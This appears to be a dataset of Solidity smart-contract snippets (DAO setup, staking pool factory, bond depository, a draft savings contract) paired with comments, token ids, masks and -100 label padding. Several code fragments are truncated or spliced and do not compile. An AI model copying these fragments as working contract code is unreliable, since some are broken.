} | * @notice Initialises the DAO @dev Involves initialising available tokens, checkpoints, and membership of creator @dev Can only be called once @param creator The DAO's creator, who will be an initial member @param payer The account which paid for the transaction to create the DAO, who will be an initial member/ | function initialize(address creator, address payer) external {
require(!initialized, "dao already initialized");
potentialNewMember(msg.sender);
potentialNewMember(payer);
potentialNewMember(creator);
initialized = true;
}
| 317,186 | [
1,
4435,
6141,
326,
463,
20463,
225,
5454,
355,
3324,
2172,
13734,
2319,
2430,
16,
26402,
16,
471,
12459,
434,
11784,
225,
4480,
1338,
506,
2566,
3647,
225,
11784,
1021,
463,
20463,
1807,
11784,
16,
10354,
903,
506,
392,
2172,
3140,
225,
293,
1773,
1021,
2236,
1492,
30591,
364,
326,
2492,
358,
752,
326,
463,
20463,
16,
10354,
903,
506,
392,
2172,
3140,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4046,
12,
2867,
11784,
16,
1758,
293,
1773,
13,
3903,
288,
203,
3639,
2583,
12,
5,
13227,
16,
315,
2414,
83,
1818,
6454,
8863,
203,
3639,
8555,
1908,
4419,
12,
3576,
18,
15330,
1769,
203,
3639,
8555,
1908,
4419,
12,
84,
1773,
1769,
203,
3639,
8555,
1908,
4419,
12,
20394,
1769,
203,
203,
3639,
6454,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "./Round.sol";
contract Contribution{
/*
@Project: BSC-Master-Project
@Authors: noryson#5495,
@Description: This contract keeps track of all contribution events in the system
*/
uint id; // unique Identification for each contribution event.
address host; // Contribution's creator address. Is this neccesary though?
uint maxNoOfMembers;
uint256 startDate; // gotten by adding contribution's creation date timestamp and duration
Round[] rounds;
uint roundDuration; // measured in days
address[] contributors;
bool concluded; // tracks the event state
mapping(address => amount) auctionedAsset;
/* @invariants: assets supported are BNB, Ether and Cryptonite */
string asset;
uint contributionAmount;
/* @invariants: assets supported are BNB, Ether and Cryptonite
@invariants: stakedAsset != asset
*/
string stakedAsset;
uint stakedAmount;
function constructor(string assetName, uint amount, string stake, uint stakeValue, uint max, uint duration, uint waitPeriod){
require(assetName == "bnb" | assetName == "ether" | assetName == "crypt");
id = 1; // todo: generate random data
host = msg.sender;
maxNoOfMembers = max;
startDate = 12312; // todo: currentDate + waitPeriod
contributors.push(host);
contributionAmount = amount;
asset = assetName;
stakedAsset = stake;
stakedAmount = stakeValue;
roundDuration = duration;
concluded = false;
}
/* addContributor()
@pre isConcluded == false;
@pre contributors !contains newContributor
@pre len(contributors) < maxNoOfMembers;
@post contributors contains newContributor
*/
function addContributor(address newContributor){}
/* stake() transfers staked asset from msg.sender to contract before msg.sender is added as contributor.
@pre contributors !contain msg.sender
@post contributer contain msg.sender
*/
function stake(){}
/* payIn() transfers to choosen contribution asset from the user into the contract.
@pre isConcluded == false;
@pre getCurrentRound().hasUserPayed() == false
@pre amount == contributionAmount
@post getCurrentRound().remmittedUsers contain msg.sender
*/
function payIn(uint amount){}
/* payRound() selects winner in the current round, transfers asset to them and concludes the current round.
@pre getCurrentRound().isConcluded == false
@post getCurrentRound().isConcluded == true
*/
function payRound(){}
/* nextRound() creates a new round object and updates the Contribution.
@post getCurrentRound() == new Round()
*/
function nextRound(){}
/* auctionAsset() sells part of a defaulters stake so payOuts will be complete
@pre getCurrentRound() !contain defaulter
@post getCurrentRound() !contain defaulter
@post actionedAsset[defaulter] += actionAmount
*/
function auctionAsset(address defaulter){}
/* conclude() checks if all rounds have been concluded, returns staked assets and concludes the contribution
@pre isConcluded() == false
@pre rounds[len(rounds)].isConcluded() = true
@post isConcluded() == true
*/
function conclude(){}
// todo: checkers
function isConclued() returns(bool){}
// todo: getters and setters
} | / @invariants: assets supported are BNB, Ether and Cryptonite */ @invariants: assets supported are BNB, Ether and Cryptonite/ | function constructor(string assetName, uint amount, string stake, uint stakeValue, uint max, uint duration, uint waitPeriod){
require(assetName == "bnb" | assetName == "ether" | assetName == "crypt");
host = msg.sender;
maxNoOfMembers = max;
contributors.push(host);
contributionAmount = amount;
asset = assetName;
stakedAsset = stake;
stakedAmount = stakeValue;
roundDuration = duration;
concluded = false;
}
@pre contributors !contains newContributor
@pre len(contributors) < maxNoOfMembers;
@post contributors contains newContributor
@post contributer contain msg.sender
@pre getCurrentRound().hasUserPayed() == false
@pre amount == contributionAmount
@post getCurrentRound().remmittedUsers contain msg.sender
@post getCurrentRound().isConcluded == true
@post getCurrentRound() !contain defaulter
@post actionedAsset[defaulter] += actionAmount
@pre rounds[len(rounds)].isConcluded() = true
@post isConcluded() == true
| 7,326,985 | [
1,
19,
225,
632,
267,
15886,
30,
7176,
3260,
854,
605,
20626,
16,
512,
1136,
471,
22752,
265,
1137,
342,
225,
632,
267,
15886,
30,
7176,
3260,
854,
605,
20626,
16,
512,
1136,
471,
22752,
265,
1137,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3885,
12,
1080,
3310,
461,
16,
2254,
3844,
16,
533,
384,
911,
16,
2254,
384,
911,
620,
16,
2254,
943,
16,
2254,
3734,
16,
2254,
2529,
5027,
15329,
203,
3639,
2583,
12,
9406,
461,
422,
315,
70,
6423,
6,
571,
3310,
461,
422,
315,
2437,
6,
571,
3310,
461,
422,
315,
22784,
8863,
203,
3639,
1479,
273,
1234,
18,
15330,
31,
203,
3639,
943,
2279,
951,
6918,
273,
943,
31,
203,
3639,
13608,
13595,
18,
6206,
12,
2564,
1769,
203,
3639,
24880,
6275,
273,
3844,
31,
203,
3639,
3310,
273,
3310,
461,
31,
203,
3639,
384,
9477,
6672,
273,
384,
911,
31,
203,
3639,
384,
9477,
6275,
273,
384,
911,
620,
31,
203,
3639,
3643,
5326,
273,
3734,
31,
203,
3639,
356,
7908,
273,
629,
31,
203,
565,
289,
203,
377,
203,
3639,
632,
1484,
13608,
13595,
401,
12298,
394,
442,
19293,
203,
3639,
632,
1484,
562,
12,
26930,
13595,
13,
411,
943,
2279,
951,
6918,
31,
203,
3639,
632,
2767,
13608,
13595,
1914,
394,
442,
19293,
203,
203,
3639,
632,
2767,
13608,
26812,
912,
1234,
18,
15330,
203,
377,
203,
3639,
632,
1484,
5175,
11066,
7675,
5332,
1299,
9148,
329,
1435,
422,
629,
203,
3639,
632,
1484,
3844,
422,
24880,
6275,
203,
3639,
632,
2767,
5175,
11066,
7675,
2764,
7948,
6588,
912,
1234,
18,
15330,
203,
377,
203,
3639,
632,
2767,
5175,
11066,
7675,
291,
442,
7908,
422,
225,
638,
203,
203,
203,
3639,
632,
2767,
5175,
11066,
1435,
401,
28744,
443,
507,
332,
387,
203,
3639,
632,
2767,
1301,
329,
2
] |
./full_match/80001/0x563af0309EC634ddDCeE554fE2e799e0B0c936B5/sources/project:/contracts/WHAPcoin_Governance.sol | Set the end time for voting
| motion.endTime = block.timestamp + duration; | 850,215 | [
1,
694,
326,
679,
813,
364,
331,
17128,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
21188,
18,
409,
950,
273,
1203,
18,
5508,
397,
3734,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Copyright 2021 Cartesi Pte. Ltd.
// SPDX-License-Identifier: Apache-2.0
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use
// this file except in compliance with the License. You may obtain a copy of the
// License at http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
/// @title Factory of staking pools
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/StakingPool.sol";
import "./interfaces/StakingPoolFactory.sol";
import "./FlatRateCommission.sol";
import "./GasTaxCommission.sol";
contract StakingPoolFactoryImpl is Ownable, Pausable, StakingPoolFactory {
address public referencePool;
address public immutable gasOracle;
address public immutable priceOracle;
uint256 public immutable feeRaiseTimeout;
uint256 public immutable maxGasRaise;
uint256 public immutable maxFeePercentageRaise;
address public pos;
event ReferencePoolChanged(address indexed pool);
event PoSAddressChanged(address indexed _pos);
receive() external payable {}
constructor(
address _gasOracle,
address _priceOracle,
address _pos,
uint256 _feeRaiseTimeout,
uint256 _maxGasRaise,
uint256 _maxFeePercentageRaise
) {
require(
_gasOracle != address(0),
"StakingPoolFactoryImpl: parameter can not be zero address."
);
require(
_priceOracle != address(0),
"StakingPoolFactoryImpl: parameter can not be zero address."
);
gasOracle = _gasOracle;
priceOracle = _priceOracle;
feeRaiseTimeout = _feeRaiseTimeout;
maxGasRaise = _maxGasRaise;
maxFeePercentageRaise = _maxFeePercentageRaise;
pos = _pos;
}
/// @notice Change the pool reference implementation
function setReferencePool(address _referencePool) external onlyOwner {
referencePool = _referencePool;
emit ReferencePoolChanged(_referencePool);
}
/// @notice Change the pos address
function setPoSAddress(address _pos) external onlyOwner {
pos = _pos;
emit PoSAddressChanged(_pos);
}
/// @notice Creates a new staking pool
/// emits NewStakingPool with the parameters of the new pool
/// @return new pool address
function createFlatRateCommission(uint256 commission)
external
payable
override
whenNotPaused
returns (address)
{
require(
referencePool != address(0),
"StakingPoolFactoryImpl: undefined reference pool"
);
FlatRateCommission fee = new FlatRateCommission(
commission,
feeRaiseTimeout,
maxFeePercentageRaise
);
address payable deployed = payable(Clones.clone(referencePool));
StakingPool pool = StakingPool(deployed);
pool.initialize(address(fee), pos);
pool.transferOwnership(msg.sender);
fee.transferOwnership(msg.sender);
// sends msg.value to complete hiring process
pool.selfhire{value: msg.value}(); //@dev: ignore reentrancy guard warning
// returns unused user payment
payable(msg.sender).transfer(msg.value); //@dev: ignore reentrancy guard warning
emit NewFlatRateCommissionStakingPool(address(pool), address(fee));
return address(pool);
}
function createGasTaxCommission(uint256 gas)
external
payable
override
whenNotPaused
returns (address)
{
require(
referencePool != address(0),
"StakingPoolFactoryImpl: undefined reference pool"
);
GasTaxCommission fee = new GasTaxCommission(
gasOracle,
priceOracle,
gas,
feeRaiseTimeout,
maxGasRaise
);
address payable deployed = payable(Clones.clone(referencePool));
StakingPool pool = StakingPool(deployed);
pool.initialize(address(fee), pos);
pool.transferOwnership(msg.sender);
fee.transferOwnership(msg.sender);
// sends msg.value to complete hiring process
pool.selfhire{value: msg.value}(); //@dev: ignore reentrancy guard warning
// returns unused user payment
payable(msg.sender).transfer(msg.value); //@dev: ignore reentrancy guard warning
emit NewGasTaxCommissionStakingPool(address(pool), address(fee));
return address(pool);
}
/// @notice Returns configuration for the working pools of the current version
/// @return _pos address for the PoS contract
function getPoS() external view override returns (address _pos) {
return pos;
}
function pause() public whenNotPaused onlyOwner {
_pause();
}
function unpause() external whenPaused onlyOwner {
_unpause();
}
}
| @notice Creates a new staking pool emits NewStakingPool with the parameters of the new pool @return new pool address sends msg.value to complete hiring process returns unused user payment | function createFlatRateCommission(uint256 commission)
external
payable
override
whenNotPaused
returns (address)
{
require(
referencePool != address(0),
"StakingPoolFactoryImpl: undefined reference pool"
);
FlatRateCommission fee = new FlatRateCommission(
commission,
feeRaiseTimeout,
maxFeePercentageRaise
);
address payable deployed = payable(Clones.clone(referencePool));
StakingPool pool = StakingPool(deployed);
pool.initialize(address(fee), pos);
pool.transferOwnership(msg.sender);
fee.transferOwnership(msg.sender);
emit NewFlatRateCommissionStakingPool(address(pool), address(fee));
return address(pool);
}
| 15,884,942 | [
1,
2729,
279,
394,
384,
6159,
2845,
24169,
1166,
510,
6159,
2864,
598,
326,
1472,
434,
326,
394,
2845,
327,
394,
2845,
1758,
9573,
1234,
18,
1132,
358,
3912,
366,
11256,
1207,
1135,
10197,
729,
5184,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
752,
16384,
4727,
799,
3951,
12,
11890,
5034,
1543,
19710,
13,
203,
3639,
3903,
203,
3639,
8843,
429,
203,
3639,
3849,
203,
3639,
1347,
1248,
28590,
203,
3639,
1135,
261,
2867,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
2114,
2864,
480,
1758,
12,
20,
3631,
203,
5411,
315,
510,
6159,
2864,
1733,
2828,
30,
3109,
2114,
2845,
6,
203,
3639,
11272,
203,
3639,
20396,
4727,
799,
3951,
14036,
273,
394,
20396,
4727,
799,
3951,
12,
203,
5411,
1543,
19710,
16,
203,
5411,
14036,
30570,
2694,
16,
203,
5411,
943,
14667,
16397,
30570,
203,
3639,
11272,
203,
3639,
1758,
8843,
429,
19357,
273,
8843,
429,
12,
2009,
5322,
18,
14056,
12,
6180,
2864,
10019,
203,
3639,
934,
6159,
2864,
2845,
273,
934,
6159,
2864,
12,
12411,
329,
1769,
203,
3639,
2845,
18,
11160,
12,
2867,
12,
21386,
3631,
949,
1769,
203,
3639,
2845,
18,
13866,
5460,
12565,
12,
3576,
18,
15330,
1769,
203,
3639,
14036,
18,
13866,
5460,
12565,
12,
3576,
18,
15330,
1769,
203,
203,
203,
3639,
3626,
1166,
16384,
4727,
799,
3951,
510,
6159,
2864,
12,
2867,
12,
6011,
3631,
1758,
12,
21386,
10019,
203,
3639,
327,
1758,
12,
6011,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x6851e914Cd4073832f3DCEC80e8C7Ae6c65420f5/sources/contracts/BondDepository.sol | Info for creating new bonds | contract BondDepository is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint;
using SafeMath for uint32;
event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD );
event BondRedeemed( address indexed recipient, uint payout, uint remaining );
event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio );
event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition );
bool public useHelper;
struct Terms {
}
struct Bond {
}
struct Adjust {
}
constructor (
address _Time,
address _principle,
address _treasury,
address _DAO,
address _bondCalculator
) {
require( _Time != address(0) );
Time = _Time;
require( _principle != address(0) );
principle = _principle;
require( _treasury != address(0) );
treasury = _treasury;
require( _DAO != address(0) );
DAO = _DAO;
bondCalculator = _bondCalculator;
isLiquidityBond = ( _bondCalculator != address(0) );
}
function initializeBondTerms(
uint _controlVariable,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt,
uint32 _vestingTerm
) external onlyPolicy() {
require( terms.controlVariable == 0, "Bonds must be initialized from 0" );
terms = Terms ({
controlVariable: _controlVariable,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
fee: _fee,
maxDebt: _maxDebt,
vestingTerm: _vestingTerm
});
totalDebt = _initialDebt;
lastDecay = uint32(block.timestamp);
}
function initializeBondTerms(
uint _controlVariable,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt,
uint32 _vestingTerm
) external onlyPolicy() {
require( terms.controlVariable == 0, "Bonds must be initialized from 0" );
terms = Terms ({
controlVariable: _controlVariable,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
fee: _fee,
maxDebt: _maxDebt,
vestingTerm: _vestingTerm
});
totalDebt = _initialDebt;
lastDecay = uint32(block.timestamp);
}
enum PARAMETER { VESTING, PAYOUT, FEE, DEBT, MINPRICE }
function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() {
require( _input >= 129600, "Vesting must be longer than 36 hours" );
terms.vestingTerm = uint32(_input);
require( _input <= 1000, "Payout cannot be above 1 percent" );
terms.maxPayout = _input;
require( _input <= 10000, "DAO fee cannot exceed payout" );
terms.fee = _input;
terms.maxDebt = _input;
terms.minimumPrice = _input;
}
}
| 4,500,548 | [
1,
966,
364,
4979,
394,
15692,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
605,
1434,
758,
1855,
353,
14223,
6914,
288,
203,
203,
565,
1450,
15038,
2148,
364,
380,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
1578,
31,
203,
203,
203,
203,
203,
203,
565,
871,
605,
1434,
6119,
12,
2254,
443,
1724,
16,
2254,
8808,
293,
2012,
16,
2254,
8808,
7368,
16,
2254,
8808,
6205,
382,
3378,
40,
11272,
203,
565,
871,
605,
1434,
426,
24903,
329,
12,
1758,
8808,
8027,
16,
2254,
293,
2012,
16,
2254,
4463,
11272,
203,
565,
871,
605,
1434,
5147,
5033,
12,
2254,
8808,
6205,
382,
3378,
40,
16,
2254,
8808,
2713,
5147,
16,
2254,
8808,
18202,
88,
8541,
11272,
203,
565,
871,
8888,
3092,
19985,
12,
2254,
2172,
16283,
58,
16,
2254,
394,
16283,
58,
16,
2254,
18335,
16,
1426,
2719,
11272,
203,
203,
203,
203,
203,
203,
203,
203,
565,
1426,
1071,
999,
2276,
31,
203,
203,
203,
203,
203,
203,
203,
203,
203,
565,
1958,
26563,
288,
203,
565,
289,
203,
203,
565,
1958,
605,
1434,
288,
203,
565,
289,
203,
203,
565,
1958,
17720,
288,
203,
565,
289,
203,
203,
203,
203,
203,
565,
3885,
261,
7010,
3639,
1758,
389,
950,
16,
203,
3639,
1758,
389,
683,
9523,
2444,
16,
203,
3639,
1758,
389,
27427,
345,
22498,
16,
7010,
3639,
1758,
389,
18485,
16,
7010,
3639,
1758,
389,
26425,
19278,
203,
203,
565,
262,
288,
203,
3639,
2583,
12,
389,
950,
480,
1758,
12,
2
] |
./partial_match/97/0xb07837bc7a5F24ECDBBC6EfC81cEE626ef477223/sources/PewTestCoin33.sol | 100 Coins per ETH (changable)
| exchangeRate = 100.00; | 11,363,365 | [
1,
6625,
385,
9896,
1534,
512,
2455,
282,
261,
24083,
429,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
